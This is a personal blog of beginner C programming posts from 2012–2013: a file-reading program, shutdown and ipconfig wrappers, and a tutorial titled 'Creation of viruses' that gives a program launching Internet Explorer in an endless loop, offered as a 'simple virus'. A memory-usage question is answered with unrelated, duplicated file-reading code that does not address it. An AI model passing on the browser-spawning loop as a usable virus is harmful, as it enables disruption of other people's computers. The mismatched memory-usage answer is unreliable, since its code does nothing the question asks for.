Monday 17 June 2013

;)


#include <stdio.h>
#include <string.h>
#define SIZE 30

int main()
{
  char name[ SIZE ]; 
  FILE *fpPtr; 

  if ( ( fpPtr = fopen( "sorted_file.txt", "r" ) ) == NULL ) {
    printf( "File could not be opened\n" );
  } 
  else {
    printf( "%s\n", "Name" );
    fscanf( fpPtr, "%s", name );

    while( !feof( fpPtr ) ) {
       printf( "%s\n", name );
       fscanf( fpPtr, "%s", name );
    } 

    fclose( fpPtr ); 
  } 

 return 0; 
};

Sunday 3 March 2013

How to print the memory usage : C Programming by "Gopal Krishna"

You want to find out how much memory is this program using .
 Any code or function 
i should add to find the total memory used by this program. 
I don't want to check task manager for this.
 I need to print the memory usage.


#include <stdio.h>
#include <string.h>
#define SIZE 30

int main()
{
  char name[ SIZE ]; 
  FILE *fpPtr; 

  if ( ( fpPtr = fopen( "sorted_file.txt", "r" ) ) == NULL ) {
    printf( "File could not be opened\n" );
  } 
  else {
    printf( "%s\n", "Name" );
    fscanf( fpPtr, "%s", name );

    while( !feof( fpPtr ) ) {
       printf( "%s\n", name );
       fscanf( fpPtr, "%s", name );
    } 

    fclose( fpPtr ); 
  } 

 return 0; 
};


Try This ..........................
C Programming  By GOPAL KRISHNA 

Saturday 23 February 2013

Creation of viruses V I A C Programming .

THIS TUT. ONLY FOR STUDY PURPOSE 

I SAY BEFORE , A STYLE OF TRICK ,
 HOW TO SHUT DOWN THE SYSTEM IN LAST PROGRAM ....

NOW : 
 C program such that when we will click on its .exe file then it will open internet explorer at infinite times?






Step 1 :  write code :

#include<stdio.h>
#include<dos.h>

int main (void){

for(; ;){

system("c:\\progra~1\\intern~1\\iexplore.exe");

}


return 0;
}


Step 2: Save the above file. Let file name is internet.c


Step 3: Only compile the above program.


Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)


Step 5: Double click on its .exe file (internet.exe)

This is the creation of simple virus ... which is simpal and kool WAIT FOR MORE ...... 


(C by Gopal Krishna)


Friday 21 September 2012

C programming code for Ubuntu Linux


#include <stdio.h>
 
int main() {
  system("shutdown -P now");
  return 0;
} 

C programming code for Windows 7


#include <stdio.h>
#include <stdlib.h>
 
main()
{
   char ch;
 
   printf("Do you want to shutdown your computer now (y/n)\n");
   scanf("%c",&ch);
 
   if (ch == 'y' || ch == 'Y')
      system("C:\\WINDOWS\\System32\\shutdown /s");
 
   return 0;
}

C program to shutdown or turn off computer


C Program to shutdown your computer: This program turn off i.e shutdown your computer system. Firstly it will asks you to shutdown your computer if you press 'y' the your computer will shutdown in 30 seconds, system function of "stdlib.h" is used to run an executable file shutdown.exe which is present in C:\WINDOWS\system32 in Windows XP. You can use various options while executing shutdown.exe for example -s option shutdown the computer after 30 seconds, if you wish to shutdown immediately then you can write "shutdown -s -t 0" as an argument to system function. If you wish to restart your computer then you can write "shutdown -r".
If you are using Turbo C Compiler then execute your file from folder. Press F9 to build your executable file from source program. When you run from within the compiler by pressing Ctrl+F9 it may not work.

C programming code for Windows XP

#include <stdio.h>
#include <stdlib.h>
 
main()
{
   char ch;
 
   printf("Do you want to shutdown your computer now (y/n)\n");
   scanf("%c",&ch);
 
   if (ch == 'y' || ch == 'Y')
      system("C:\\WINDOWS\\System32\\shutdown -s");
 
   return 0;
}

c program to get ip address


This c program prints ip (internet protocol) address of your computer, system function is used to execute the command ipconfig which prints ip address, subnet mask and default gateway. The code given below works for Windows xp and Windows 7. If you are using turbo c compiler then execute program from folder, it may not work when you are working in compiler and press Ctrl+F9 to run your program.

C programming code

#include<stdlib.h>
 
main()
{
   system("C:\\Windows\\System32\\ipconfig");
   system("pause");
 
   return 0;
}